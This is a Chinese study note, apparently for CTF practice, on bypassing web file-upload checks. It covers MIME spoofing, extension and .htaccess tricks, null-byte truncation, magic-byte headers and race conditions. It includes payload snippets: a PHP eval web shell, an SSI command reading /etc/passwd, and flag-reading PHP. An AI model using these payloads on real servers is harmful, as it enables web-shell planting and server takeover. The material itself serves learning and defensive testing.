两种校验方式
- 客户端校验(javascript校验)
- 服务端校验
客户端校验
绕过方法
- 抓包改包
- 禁用JS
禁用JS
- 如果是弹窗提示,打开控制台->网络,上传时没有请求发出去,说明是在本地校验
- 火狐插件-yescript2
- 老版本可以使用WebDeveloper
抓包改包
用bp抓包后直接改后缀名
服务端校验
MIME类型检测
MIME类型在html文件中使用content-type
属性表示
- php举例:
if($_FILES["upfile"]["type"]!="image/gif"){
echo "只允许上传图片";
exit;
}
-
常见文件名对应的MIME类型
- 扩展名:gif MIME类型:image/gif
- 扩展名:png MIME类型:image/png
- 扩展名:jpg MIME类型:image/jpg
- 扩展名:js MIME类型:text/javascript
- 扩展名:htm MIME类型:text/html
- 扩展名:html MIME类型:text/html
-
绕过方法
- 抓包改content-type字段
- 改文件名后上传抓包后再改回文件名
- 上传正常文件改文件内容
- 。。。
后缀名黑名单校验
-
绕过方法
- 大小写绕过,例如Php、PhP
- 利用黑名单中没有的,但是又能够被解析的后缀名,例如
php、php3、php4、php5、php7、pht、phtml、phps
- 配合Apache的.htaccess文件上传解析
该文件可以理解为Apache的分布式配置文件,在一个特定的文档中放置,以作用于此目录及其所有子目录。管理员可以通过Apache的AllowOverride指令来设置/etc/apache2/apache2.conf
,默认是NONE,需要为ALL
<FilesMatch "xxx.jpg"> SetHandler application/x-httpd-php </FilesMacth>
不能写
<?
时使用伪协议AddType application/x-httpd-php .wuwu php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.wuwu"
.user.ini
上传
刷题记录:[SUCTF 2019]CheckIn- 使用00截断(需要magic_quotes_gpc=Off)
基于一个组合逻辑漏洞
name = getname(http request)//假如这时候获取到的文件名是test.asp.jpg(asp后面为0x00) type = gettype(name)//而在gettype()函数里处理方式是从后往前扫描扩展名,所以判断为jpg if(type==jpg) SaveFileToPath(UploadPath.name,name)
在第一个后缀名后加一个空格(0x20),使用bp->repeater->hex,将其改成0x00
- 超长文件名截断上传(windows 258byte | linux 4096byte)
使用./或. shtml
当Web服务器为Apache和IIS(支持SSI功能的服务器)且开启了SSI与CGI支持
<!--#exec cmd="cat /etc/passwd"-->
后缀名白名单校验
- 配合Apache的解析缺陷
Apache的解析漏洞主要特性是从后面开始检查后缀,按最后一个合法后缀
内容头校验
-
绕过方法
在恶意脚本前加上允许上传文件的头标识
GIF89a <?php phpinfo(); ?>
竞争上传
- 情景
文件上传后,检测是否合法,不合法就删除 - 利用方式
在删除前访问到上传的文件
用bp同时上传和访问<?php $file = 'web.php'; $shell = '<?php eval($_POST["key"])?>'; file_put_contents($file,$shell); ?>
- 例子
https://github.com/backlion/demo/blob/master/lfi_phpinfo.py
php崩溃导致tmp文件保留
当存在include
的时候,传入file=php://filter/string.strip_tags/resource=/etc/passwd
会导致Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除。但是这时还需要知道tmp目录下的文件名
过滤<?
或php
- js标签绕过,需要php小于7.0
<script language="PHP">
$fh=fopen("../flag.".strtolower("PHP"),'r');
echo fread($fh,filesize("../flag.".strtolower("PHP")));
fclose($fh);
</script>
- PHP开启短标签即
short_open_tag=on
时,可以使用<?=$_?>
输出变量,在PHP 5.4 之后默认支持